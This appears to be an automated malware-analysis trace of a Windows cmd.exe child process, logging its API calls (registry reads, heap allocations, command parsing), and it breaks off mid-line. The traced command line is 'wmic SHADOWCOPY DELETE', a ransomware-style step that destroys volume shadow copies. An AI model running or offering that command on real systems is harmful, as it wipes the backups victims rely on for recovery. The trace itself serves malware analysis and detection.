0x5f4 Process: id = "4" image_name = "cmd.exe" filename = "c:\\windows\\system32\\cmd.exe" page_root = "0x49051000" os_pid = "0x824" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "1" os_parent_pid = "0xf90" cmd_line = "\"C:\\WINDOWS\\System32\\cmd.exe\" /C wmic SHADOWCOPY DELETE" cur_dir = "C:\\Users\\FD1HVy\\Desktop\\" os_username = "NQDPDE\\FD1HVy" bitness = "64" os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:000103c1" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 128 os_tid = 0x8e8 [0068.224] GetModuleHandleW (lpModuleName=0x0) returned 0x7ff60b2d0000 [0068.224] __set_app_type (_Type=0x1) [0068.224] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x7ff60b2e6d00) returned 0x0 [0068.225] __getmainargs (in: _Argc=0x7ff60b309200, _Argv=0x7ff60b309208, _Env=0x7ff60b309210, _DoWildCard=0, _StartInfo=0x7ff60b30921c | out: _Argc=0x7ff60b309200, _Argv=0x7ff60b309208, _Env=0x7ff60b309210) returned 0 [0068.225] _onexit (_Func=0x7ff60b2e7fd0) returned 0x7ff60b2e7fd0 [0068.225] _onexit (_Func=0x7ff60b2e7fe0) returned 0x7ff60b2e7fe0 [0068.225] _onexit (_Func=0x7ff60b2e7ff0) returned 0x7ff60b2e7ff0 [0068.225] _onexit (_Func=0x7ff60b2e8000) returned 0x7ff60b2e8000 [0068.225] _onexit (_Func=0x7ff60b2e8010) returned 0x7ff60b2e8010 [0068.226] _onexit (_Func=0x7ff60b2e8020) returned 0x7ff60b2e8020 [0068.226] GetCurrentThreadId () returned 0x8e8 [0068.226] OpenThread (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwThreadId=0x8e8) returned 0x7c [0068.226] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x7ff92fdd0000 [0068.226] GetProcAddress (hModule=0x7ff92fdd0000, lpProcName="SetThreadUILanguage") returned 0x7ff92fdea990 [0068.226] SetThreadUILanguage (LangId=0x0) returned 0x409 [0068.285] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0068.285] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Policies\\Microsoft\\Windows\\System", ulOptions=0x0, samDesired=0x20019, phkResult=0xd90d75fc28 | out: phkResult=0xd90d75fc28*=0x0) returned 0x2 [0068.286] VirtualQuery (in: lpAddress=0xd90d75fc14, lpBuffer=0xd90d75fb90, dwLength=0x30 | out: lpBuffer=0xd90d75fb90*(BaseAddress=0xd90d75f000, AllocationBase=0xd90d660000, AllocationProtect=0x4, __alignment1=0xffffb78a, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0068.286] VirtualQuery (in: lpAddress=0xd90d660000, lpBuffer=0xd90d75fb90, dwLength=0x30 | out: lpBuffer=0xd90d75fb90*(BaseAddress=0xd90d660000, AllocationBase=0xd90d660000, AllocationProtect=0x4, __alignment1=0xffffb78a, RegionSize=0x1000, State=0x2000, Protect=0x0, Type=0x20000, __alignment2=0x0)) returned 0x30 [0068.286] VirtualQuery (in: lpAddress=0xd90d661000, lpBuffer=0xd90d75fb90, dwLength=0x30 | out: lpBuffer=0xd90d75fb90*(BaseAddress=0xd90d661000, AllocationBase=0xd90d660000, AllocationProtect=0x4, __alignment1=0xffffb78a, RegionSize=0x3000, State=0x1000, Protect=0x104, Type=0x20000, __alignment2=0x0)) returned 0x30 [0068.286] VirtualQuery (in: lpAddress=0xd90d664000, lpBuffer=0xd90d75fb90, dwLength=0x30 | out: lpBuffer=0xd90d75fb90*(BaseAddress=0xd90d664000, AllocationBase=0xd90d660000, AllocationProtect=0x4, __alignment1=0xffffb78a, RegionSize=0xfc000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0068.286] VirtualQuery (in: lpAddress=0xd90d760000, lpBuffer=0xd90d75fb90, dwLength=0x30 | out: lpBuffer=0xd90d75fb90*(BaseAddress=0xd90d760000, AllocationBase=0x0, AllocationProtect=0x0, __alignment1=0xffffb78a, RegionSize=0xa0000, State=0x10000, Protect=0x1, Type=0x0, __alignment2=0x0)) returned 0x30 [0068.286] GetConsoleOutputCP () returned 0x1b5 [0068.401] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x7ff60b30fbb0 | out: lpCPInfo=0x7ff60b30fbb0) returned 1 [0068.401] SetConsoleCtrlHandler (HandlerRoutine=0x7ff60b2f8150, Add=1) returned 1 [0068.406] _get_osfhandle (_FileHandle=1) returned 0x50 [0068.406] GetConsoleMode (in: hConsoleHandle=0x50, lpMode=0x7ff60b30fc04 | out: lpMode=0x7ff60b30fc04) returned 1 [0068.462] _get_osfhandle (_FileHandle=0) returned 0x4c [0068.462] GetConsoleMode (in: hConsoleHandle=0x4c, lpMode=0x7ff60b30fc00 | out: lpMode=0x7ff60b30fc00) returned 1 [0068.537] _get_osfhandle (_FileHandle=1) returned 0x50 [0068.549] SetConsoleMode (hConsoleHandle=0x50, dwMode=0x0) returned 1 [0068.600] _get_osfhandle (_FileHandle=1) returned 0x50 [0068.600] GetConsoleMode (in: hConsoleHandle=0x50, lpMode=0x7ff60b30fc08 | out: lpMode=0x7ff60b30fc08) returned 1 [0068.681] _get_osfhandle (_FileHandle=1) returned 0x50 [0068.681] SetConsoleMode (hConsoleHandle=0x50, dwMode=0x7) returned 1 [0069.211] _get_osfhandle (_FileHandle=0) returned 0x4c [0069.211] GetConsoleMode (in: hConsoleHandle=0x4c, lpMode=0x7ff60b30fc0c | out: lpMode=0x7ff60b30fc0c) returned 1 [0069.517] _get_osfhandle (_FileHandle=0) returned 0x4c [0069.517] SetConsoleMode (hConsoleHandle=0x4c, dwMode=0x1e7) returned 1 [0069.773] GetEnvironmentStringsW () returned 0x29f59765a20* [0069.773] GetProcessHeap () returned 0x29f59760000 [0069.773] RtlAllocateHeap (HeapHandle=0x29f59760000, Flags=0x8, Size=0xa7c) returned 0x29f597664b0 [0069.774] FreeEnvironmentStringsA (penv="A") returned 1 [0069.774] GetProcessHeap () returned 0x29f59760000 [0069.774] RtlAllocateHeap (HeapHandle=0x29f59760000, Flags=0x8, Size=0x8) returned 0x29f59766f40 [0069.774] GetEnvironmentStringsW () returned 0x29f59765a20* [0069.774] GetProcessHeap () returned 0x29f59760000 [0069.774] RtlAllocateHeap (HeapHandle=0x29f59760000, Flags=0x8, Size=0xa7c) returned 0x29f59766f60 [0069.779] FreeEnvironmentStringsA (penv="A") returned 1 [0069.779] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0xd90d75ead8 | out: phkResult=0xd90d75ead8*=0x88) returned 0x0 [0069.785] RegQueryValueExW (in: hKey=0x88, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0xd90d75ead0, lpData=0xd90d75eaf0, lpcbData=0xd90d75ead4*=0x1000 | out: lpType=0xd90d75ead0*=0x0, lpData=0xd90d75eaf0*=0x4, lpcbData=0xd90d75ead4*=0x1000) returned 0x2 [0069.785] RegQueryValueExW (in: hKey=0x88, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0xd90d75ead0, lpData=0xd90d75eaf0, lpcbData=0xd90d75ead4*=0x1000 | out: lpType=0xd90d75ead0*=0x4, lpData=0xd90d75eaf0*=0x1, lpcbData=0xd90d75ead4*=0x4) returned 0x0 [0069.785] RegQueryValueExW (in: hKey=0x88, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0xd90d75ead0, lpData=0xd90d75eaf0, lpcbData=0xd90d75ead4*=0x1000 | out: lpType=0xd90d75ead0*=0x0, lpData=0xd90d75eaf0*=0x1, lpcbData=0xd90d75ead4*=0x1000) returned 0x2 [0069.785] RegQueryValueExW (in: hKey=0x88, lpValueName="DefaultColor", lpReserved=0x0, lpType=0xd90d75ead0, lpData=0xd90d75eaf0, lpcbData=0xd90d75ead4*=0x1000 | out: lpType=0xd90d75ead0*=0x4, lpData=0xd90d75eaf0*=0x0, lpcbData=0xd90d75ead4*=0x4) returned 0x0 [0069.785] RegQueryValueExW (in: hKey=0x88, lpValueName="CompletionChar", lpReserved=0x0, lpType=0xd90d75ead0, lpData=0xd90d75eaf0, lpcbData=0xd90d75ead4*=0x1000 | out: lpType=0xd90d75ead0*=0x4, lpData=0xd90d75eaf0*=0x40, lpcbData=0xd90d75ead4*=0x4) returned 0x0 [0069.785] RegQueryValueExW (in: hKey=0x88, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0xd90d75ead0, lpData=0xd90d75eaf0, lpcbData=0xd90d75ead4*=0x1000 | out: lpType=0xd90d75ead0*=0x4, lpData=0xd90d75eaf0*=0x40, lpcbData=0xd90d75ead4*=0x4) returned 0x0 [0069.785] RegQueryValueExW (in: hKey=0x88, lpValueName="AutoRun", lpReserved=0x0, lpType=0xd90d75ead0, lpData=0xd90d75eaf0, lpcbData=0xd90d75ead4*=0x1000 | out: lpType=0xd90d75ead0*=0x0, lpData=0xd90d75eaf0*=0x40, lpcbData=0xd90d75ead4*=0x1000) returned 0x2 [0069.785] RegCloseKey (hKey=0x88) returned 0x0 [0069.785] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0xd90d75ead8 | out: phkResult=0xd90d75ead8*=0x88) returned 0x0 [0069.831] RegQueryValueExW (in: hKey=0x88, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0xd90d75ead0, lpData=0xd90d75eaf0, lpcbData=0xd90d75ead4*=0x1000 | out: lpType=0xd90d75ead0*=0x0, lpData=0xd90d75eaf0*=0x40, lpcbData=0xd90d75ead4*=0x1000) returned 0x2 [0069.867] RegQueryValueExW (in: hKey=0x88, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0xd90d75ead0, lpData=0xd90d75eaf0, lpcbData=0xd90d75ead4*=0x1000 | out: lpType=0xd90d75ead0*=0x4, lpData=0xd90d75eaf0*=0x1, lpcbData=0xd90d75ead4*=0x4) returned 0x0 [0069.867] RegQueryValueExW (in: hKey=0x88, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0xd90d75ead0, lpData=0xd90d75eaf0, lpcbData=0xd90d75ead4*=0x1000 | out: lpType=0xd90d75ead0*=0x0, lpData=0xd90d75eaf0*=0x1, lpcbData=0xd90d75ead4*=0x1000) returned 0x2 [0069.867] RegQueryValueExW (in: hKey=0x88, lpValueName="DefaultColor", lpReserved=0x0, lpType=0xd90d75ead0, lpData=0xd90d75eaf0, lpcbData=0xd90d75ead4*=0x1000 | out: lpType=0xd90d75ead0*=0x4, lpData=0xd90d75eaf0*=0x0, lpcbData=0xd90d75ead4*=0x4) returned 0x0 [0069.867] RegQueryValueExW (in: hKey=0x88, lpValueName="CompletionChar", lpReserved=0x0, lpType=0xd90d75ead0, lpData=0xd90d75eaf0, lpcbData=0xd90d75ead4*=0x1000 | out: lpType=0xd90d75ead0*=0x4, lpData=0xd90d75eaf0*=0x9, lpcbData=0xd90d75ead4*=0x4) returned 0x0 [0069.867] RegQueryValueExW (in: hKey=0x88, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0xd90d75ead0, lpData=0xd90d75eaf0, lpcbData=0xd90d75ead4*=0x1000 | out: lpType=0xd90d75ead0*=0x4, lpData=0xd90d75eaf0*=0x9, lpcbData=0xd90d75ead4*=0x4) returned 0x0 [0069.867] RegQueryValueExW (in: hKey=0x88, lpValueName="AutoRun", lpReserved=0x0, lpType=0xd90d75ead0, lpData=0xd90d75eaf0, lpcbData=0xd90d75ead4*=0x1000 | out: lpType=0xd90d75ead0*=0x0, lpData=0xd90d75eaf0*=0x9, lpcbData=0xd90d75ead4*=0x1000) returned 0x2 [0069.867] RegCloseKey (hKey=0x88) returned 0x0 [0069.868] time (in: timer=0x0 | out: timer=0x0) returned 0x5e1567f7 [0069.868] srand (_Seed=0x5e1567f7) [0069.868] GetCommandLineW () returned="\"C:\\WINDOWS\\System32\\cmd.exe\" /C wmic SHADOWCOPY DELETE" [0069.868] malloc (_Size=0x4000) returned 0x29f59a354f0 [0069.868] GetCommandLineW () returned="\"C:\\WINDOWS\\System32\\cmd.exe\" /C wmic SHADOWCOPY DELETE" [0069.868] malloc (_Size=0xffce) returned 0x29f59930080 [0069.868] ??_V@YAXPEAX@Z () returned 0x29f59930080 [0069.869] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x29f59930080 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0069.869] malloc (_Size=0xffce) returned 0x29f59940060 [0069.869] ??_V@YAXPEAX@Z () returned 0x29f59940060 [0069.869] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x29f59940060, nSize=0x7fe7 | out: lpFilename="C:\\WINDOWS\\System32\\cmd.exe" (normalized: "c:\\windows\\system32\\cmd.exe")) returned 0x1b [0069.870] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x7ff60b30bb90, nSize=0x2000 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath;C:\\WINDOWS\\system32;C:\\WINDOWS;C:\\WINDOWS\\System32\\Wbem;C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\;C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps") returned 0xbb [0069.870] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x7ff60b30bb90, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0069.870] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x7ff60b30bb90, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0069.870] _wcsicmp (_String1="PROMPT", _String2="CD") returned 13 [0069.870] _wcsicmp (_String1="PROMPT", _String2="ERRORLEVEL") returned 11 [0069.870] _wcsicmp (_String1="PROMPT", _String2="CMDEXTVERSION") returned 13 [0069.870] _wcsicmp (_String1="PROMPT", _String2="CMDCMDLINE") returned 13 [0069.870] _wcsicmp (_String1="PROMPT", _String2="DATE") returned 12 [0069.870] _wcsicmp (_String1="PROMPT", _String2="TIME") returned -4 [0069.870] _wcsicmp (_String1="PROMPT", _String2="RANDOM") returned -2 [0069.870] _wcsicmp (_String1="PROMPT", _String2="HIGHESTNUMANODENUMBER") returned 8 [0069.870] SetEnvironmentVariableW (lpName="PROMPT", lpValue="$P$G") returned 1 [0069.870] GetProcessHeap () returned 0x29f59760000 [0069.870] RtlFreeHeap (HeapHandle=0x29f59760000, Flags=0x0, BaseAddress=0x29f597664b0) returned 1 [0069.870] GetEnvironmentStringsW () returned 0x29f597684c0* [0069.870] GetProcessHeap () returned 0x29f59760000 [0069.870] RtlAllocateHeap (HeapHandle=0x29f59760000, Flags=0x8, Size=0xa94) returned 0x29f59765a20 [0069.870] FreeEnvironmentStringsA (penv="A") returned 1 [0069.870] GetEnvironmentVariableW (in: lpName="COMSPEC", lpBuffer=0x7ff60b30bb90, nSize=0x2000 | out: lpBuffer="C:\\WINDOWS\\system32\\cmd.exe") returned 0x1b [0069.870] GetEnvironmentVariableW (in: lpName="KEYS", lpBuffer=0x7ff60b30bb90, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0069.870] _wcsicmp (_String1="KEYS", _String2="CD") returned 8 [0069.870] _wcsicmp (_String1="KEYS", _String2="ERRORLEVEL") returned 6 [0069.870] _wcsicmp (_String1="KEYS", _String2="CMDEXTVERSION") returned 8 [0069.870] _wcsicmp (_String1="KEYS", _String2="CMDCMDLINE") returned 8 [0069.870] _wcsicmp (_String1="KEYS", _String2="DATE") returned 7 [0069.870] _wcsicmp (_String1="KEYS", _String2="TIME") returned -9 [0069.871] _wcsicmp (_String1="KEYS", _String2="RANDOM") returned -7 [0069.871] _wcsicmp (_String1="KEYS", _String2="HIGHESTNUMANODENUMBER") returned 3 [0069.871] malloc (_Size=0xffce) returned 0x29f59950040 [0069.871] ??_V@YAXPEAX@Z () returned 0x29f59950040 [0069.871] GetProcessHeap () returned 0x29f59760000 [0069.871] RtlAllocateHeap (HeapHandle=0x29f59760000, Flags=0x8, Size=0x40) returned 0x29f597664c0 [0069.871] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x29f59950040 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0069.871] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop", nBufferLength=0x7fe7, lpBuffer=0x29f59950040, lpFilePart=0xd90d75f650 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop", lpFilePart=0xd90d75f650*="Desktop") returned 0x17 [0069.872] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop" (normalized: "c:\\users\\fd1hvy\\desktop")) returned 0x11 [0069.872] FindFirstFileW (in: lpFileName="C:\\Users", lpFindFileData=0xd90d75f380 | out: lpFindFileData=0xd90d75f380*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x6c4849dd, ftCreationTime.dwHighDateTime=0x1d29fdc, ftLastAccessTime.dwLowDateTime=0x475bb883, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x475bb883, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Users", cAlternateFileName="")) returned 0x29f59766510 [0069.872] FindClose (in: hFindFile=0x29f59766510 | out: hFindFile=0x29f59766510) returned 1 [0069.872] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy", lpFindFileData=0xd90d75f380 | out: lpFindFileData=0xd90d75f380*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x20fc850f, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x1ba53d0, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x1ba53d0, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD1HVy", cAlternateFileName="")) returned 0x29f59766510 [0069.872] FindClose (in: hFindFile=0x29f59766510 | out: hFindFile=0x29f59766510) returned 1 [0069.872] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop", lpFindFileData=0xd90d75f380 | out: lpFindFileData=0xd90d75f380*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3476bd48, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x53ca3cd, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x53ca3cd, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Desktop", cAlternateFileName="")) returned 0x29f59766510 [0069.872] FindClose (in: hFindFile=0x29f59766510 | out: hFindFile=0x29f59766510) returned 1 [0069.872] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop" (normalized: "c:\\users\\fd1hvy\\desktop")) returned 0x11 [0069.873] SetCurrentDirectoryW (lpPathName="C:\\Users\\FD1HVy\\Desktop" (normalized: "c:\\users\\fd1hvy\\desktop")) returned 1 [0069.873] SetEnvironmentVariableW (lpName="=C:", lpValue="C:\\Users\\FD1HVy\\Desktop") returned 1 [0069.873] GetProcessHeap () returned 0x29f59760000 [0069.873] RtlFreeHeap (HeapHandle=0x29f59760000, Flags=0x0, BaseAddress=0x29f59765a20) returned 1 [0069.873] GetEnvironmentStringsW () returned 0x29f59768fa0* [0069.873] GetProcessHeap () returned 0x29f59760000 [0069.873] RtlAllocateHeap (HeapHandle=0x29f59760000, Flags=0x8, Size=0xacc) returned 0x29f59769a80 [0069.873] FreeEnvironmentStringsA (penv="=") returned 1 [0069.873] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x29f59930080 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0069.873] GetProcessHeap () returned 0x29f59760000 [0069.873] RtlFreeHeap (HeapHandle=0x29f59760000, Flags=0x0, BaseAddress=0x29f597664c0) returned 1 [0069.873] ??_V@YAXPEAX@Z () returned 0x1 [0069.873] ??_V@YAXPEAX@Z () returned 0x1 [0069.873] GetProcessHeap () returned 0x29f59760000 [0069.873] RtlAllocateHeap (HeapHandle=0x29f59760000, Flags=0x8, Size=0x4016) returned 0x29f5976a560 [0069.874] GetProcessHeap () returned 0x29f59760000 [0069.874] RtlAllocateHeap (HeapHandle=0x29f59760000, Flags=0x8, Size=0x42) returned 0x29f59760fc0 [0069.874] GetProcessHeap () returned 0x29f59760000 [0069.874] RtlFreeHeap (HeapHandle=0x29f59760000, Flags=0x0, BaseAddress=0x29f5976a560) returned 1 [0069.874] GetConsoleOutputCP () returned 0x1b5 [0070.325] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x7ff60b30fbb0 | out: lpCPInfo=0x7ff60b30fbb0) returned 1 [0070.325] GetUserDefaultLCID () returned 0x409 [0070.325] GetLocaleInfoW (in: Locale=0x409, LCType=0x1e, lpLCData=0x7ff60b30bb78, cchData=8 | out: lpLCData=":") returned 2 [0070.326] GetLocaleInfoW (in: Locale=0x409, LCType=0x23, lpLCData=0xd90d75fa10, cchData=128 | out: lpLCData="0") returned 2 [0070.326] GetLocaleInfoW (in: Locale=0x409, LCType=0x21, lpLCData=0xd90d75fa10, cchData=128 | out: lpLCData="0") returned 2 [0070.326] GetLocaleInfoW (in: Locale=0x409, LCType=0x24, lpLCData=0xd90d75fa10, cchData=128 | out: lpLCData="1") returned 2 [0070.326] GetLocaleInfoW (in: Locale=0x409, LCType=0x1d, lpLCData=0x7ff60b30bb68, cchData=8 | out: lpLCData="/") returned 2 [0070.326] GetLocaleInfoW (in: Locale=0x409, LCType=0x31, lpLCData=0x7ff60b30bb00, cchData=32 | out: lpLCData="Mon") returned 4 [0070.326] GetLocaleInfoW (in: Locale=0x409, LCType=0x32, lpLCData=0x7ff60b30bac0, cchData=32 | out: lpLCData="Tue") returned 4 [0070.326] GetLocaleInfoW (in: Locale=0x409, LCType=0x33, lpLCData=0x7ff60b30ba80, cchData=32 | out: lpLCData="Wed") returned 4 [0070.326] GetLocaleInfoW (in: Locale=0x409, LCType=0x34, lpLCData=0x7ff60b30ba40, cchData=32 | out: lpLCData="Thu") returned 4 [0070.326] GetLocaleInfoW (in: Locale=0x409, LCType=0x35, lpLCData=0x7ff60b30ba00, cchData=32 | out: lpLCData="Fri") returned 4 [0070.326] GetLocaleInfoW (in: Locale=0x409, LCType=0x36, lpLCData=0x7ff60b30b9c0, cchData=32 | out: lpLCData="Sat") returned 4 [0070.326] GetLocaleInfoW (in: Locale=0x409, LCType=0x37, lpLCData=0x7ff60b30b980, cchData=32 | out: lpLCData="Sun") returned 4 [0070.326] GetLocaleInfoW (in: Locale=0x409, LCType=0xe, lpLCData=0x7ff60b30bb58, cchData=8 | out: lpLCData=".") returned 2 [0070.326] GetLocaleInfoW (in: Locale=0x409, LCType=0xf, lpLCData=0x7ff60b30bb40, cchData=8 | out: lpLCData=",") returned 2 [0070.326] setlocale (category=0, locale=".OCP") returned="English_United States.437" [0070.327] GetProcessHeap () returned 0x29f59760000 [0070.327] RtlAllocateHeap (HeapHandle=0x29f59760000, Flags=0x0, Size=0x20c) returned 0x29f59761080 [0070.327] GetConsoleTitleW (in: lpConsoleTitle=0x29f59761080, nSize=0x104 | out: lpConsoleTitle="C:\\WINDOWS\\System32\\cmd.exe") returned 0x1c [0070.557] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x7ff92fdd0000 [0070.557] GetProcAddress (hModule=0x7ff92fdd0000, lpProcName="CopyFileExW") returned 0x7ff92fdee830 [0070.558] GetProcAddress (hModule=0x7ff92fdd0000, lpProcName="IsDebuggerPresent") returned 0x7ff92fdee300 [0070.558] GetProcAddress (hModule=0x7ff92fdd0000, lpProcName="SetConsoleInputExeNameW") returned 0x7ff92f1b0a40 [0070.558] ??_V@YAXPEAX@Z () returned 0x1 [0070.558] GetProcessHeap () returned 0x29f59760000 [0070.559] RtlAllocateHeap (HeapHandle=0x29f59760000, Flags=0x8, Size=0x4012) returned 0x29f5976a560 [0070.559] GetProcessHeap () returned 0x29f59760000 [0070.559] RtlFreeHeap (HeapHandle=0x29f59760000, Flags=0x0, BaseAddress=0x29f5976a560) returned 1 [0070.559] _wcsicmp (_String1="wmic", _String2=")") returned 78 [0070.559] _wcsicmp (_String1="FOR", _String2="wmic") returned -17 [0070.559] _wcsicmp (_String1="FOR/?", _String2="wmic") returned -17 [0070.559] _wcsicmp (_String1="IF", _String2="wmic") returned -14 [0070.559] _wcsicmp (_String1="IF/?", _String2="wmic") returned -14 [0070.559] _wcsicmp (_String1="REM", _String2="wmic") returned -5 [0070.559] _wcsicmp (_String1="REM/?", _String2="wmic") returned -5 [0070.559] GetProcessHeap () returned 0x29f59760000 [0070.559] RtlAllocateHeap (HeapHandle=0x29f59760000, Flags=0x8, Size=0xb0) returned 0x29f597612a0 [0070.559] GetProcessHeap () returned 0x29f59760000 [0070.559] RtlAllocateHeap (HeapHandle=0x29f59760000, Flags=0x8, Size=0x1a) returned 0x29f59761360 [0070.560] GetProcessHeap () returned 0x29f59760000 [0070.560] RtlAllocateHeap (HeapHandle=0x29f59760000, Flags=0x8, Size=0x36) returned 0x29f59761390 [0070.560] GetConsoleTitleW (in: lpConsoleTitle=0xd90d75f900, nSize=0x104 | out: lpConsoleTitle="C:\\WINDOWS\\System32\\cmd.exe") returned 0x1c [0070.967] malloc (_Size=0xffce) returned 0x29f59940060 [0070.967] ??_V@YAXPEAX@Z () returned 0x29f59940060 [0070.968] malloc (_Size=0xffce) returned 0x29f59950040 [0070.968] ??_V@YAXPEAX@Z () returned 0x29f59950040 [0070.968] _wcsicmp (_String1="wmic", _String2="DIR") returned 19 [0070.968] _wcsicmp (_String1="wmic", _String2="ERASE") returned 18 [0070.968] _wcsicmp (_String1="wmic", _String2="DEL") returned 19 [0070.968] _wcsicmp (_String1="wmic", _String2="TYPE") returned 3 [0070.968] _wcsicmp (_String1="wmic", _String2="COPY") returned 20 [0070.968] _wcsicmp (_String1="wmic", _String2="CD") returned 20 [0070.969] _wcsicmp (_String1="wmic", _String2="CHDIR") returned 20 [0070.969] _wcsicmp (_String1="wmic", _String2="RENAME") returned 5 [0070.969] _wcsicmp (_String1="wmic", _String2="REN") returned 5 [0070.969] _wcsicmp (_String1="wmic", _String2="ECHO") returned 18 [0070.969] _wcsicmp (_String1="wmic", _String2="SET") returned 4 [0070.969] _wcsicmp (_String1="wmic", _String2="PAUSE") returned 7 [0070.969] _wcsicmp (_String1="wmic", _String2="DATE") returned 19 [0070.969] _wcsicmp (_String1="wmic", _String2="TIME") returned 3 [0070.969] _wcsicmp (_String1="wmic", _String2="PROMPT") returned 7 [0070.969] _wcsicmp (_String1="wmic", _String2="MD") returned 10 [0070.969] _wcsicmp (_String1="wmic", _String2="MKDIR") returned 10 [0070.969] _wcsicmp (_String1="wmic", _String2="RD") returned 5 [0070.969] _wcsicmp (_String1="wmic", _String2="RMDIR") returned 5 [0070.969] _wcsicmp (_String1="wmic", _String2="PATH") returned 7 [0070.969] _wcsicmp (_String1="wmic", _String2="GOTO") returned 16 [0070.969] _wcsicmp (_String1="wmic", _String2="SHIFT") returned 4 [0070.969] _wcsicmp (_String1="wmic", _String2="CLS") returned 20 [0070.969] _wcsicmp (_String1="wmic", _String2="CALL") returned 20 [0070.969] _wcsicmp (_String1="wmic", _String2="VERIFY") returned 1 [0070.969] _wcsicmp (_String1="wmic", _String2="VER") returned 1 [0070.969] _wcsicmp (_String1="wmic", _String2="VOL") returned 1 [0070.969] _wcsicmp (_String1="wmic", _String2="EXIT") returned 18 [0070.969] _wcsicmp (_String1="wmic", _String2="SETLOCAL") returned 4 [0070.969] _wcsicmp (_String1="wmic", _String2="ENDLOCAL") returned 18 [0070.969] _wcsicmp (_String1="wmic", _String2="TITLE") returned 3 [0070.969] _wcsicmp (_String1="wmic", _String2="START") returned 4 [0070.969] _wcsicmp (_String1="wmic", _String2="DPATH") returned 19 [0070.969] _wcsicmp (_String1="wmic", _String2="KEYS") returned 12 [0070.969] _wcsicmp (_String1="wmic", _String2="MOVE") returned 10 [0070.969] _wcsicmp (_String1="wmic", _String2="PUSHD") returned 7 [0070.969] _wcsicmp (_String1="wmic", _String2="POPD") returned 7 [0070.969] _wcsicmp (_String1="wmic", _String2="ASSOC") returned 22 [0070.969] _wcsicmp (_String1="wmic", _String2="FTYPE") returned 17 [0070.969] _wcsicmp (_String1="wmic", _String2="BREAK") returned 21 [0070.969] _wcsicmp (_String1="wmic", _String2="COLOR") returned 20 [0070.969] _wcsicmp (_String1="wmic", _String2="MKLINK") returned 10 [0070.969] _wcsicmp (_String1="wmic", _String2="DIR") returned 19 [0070.969] 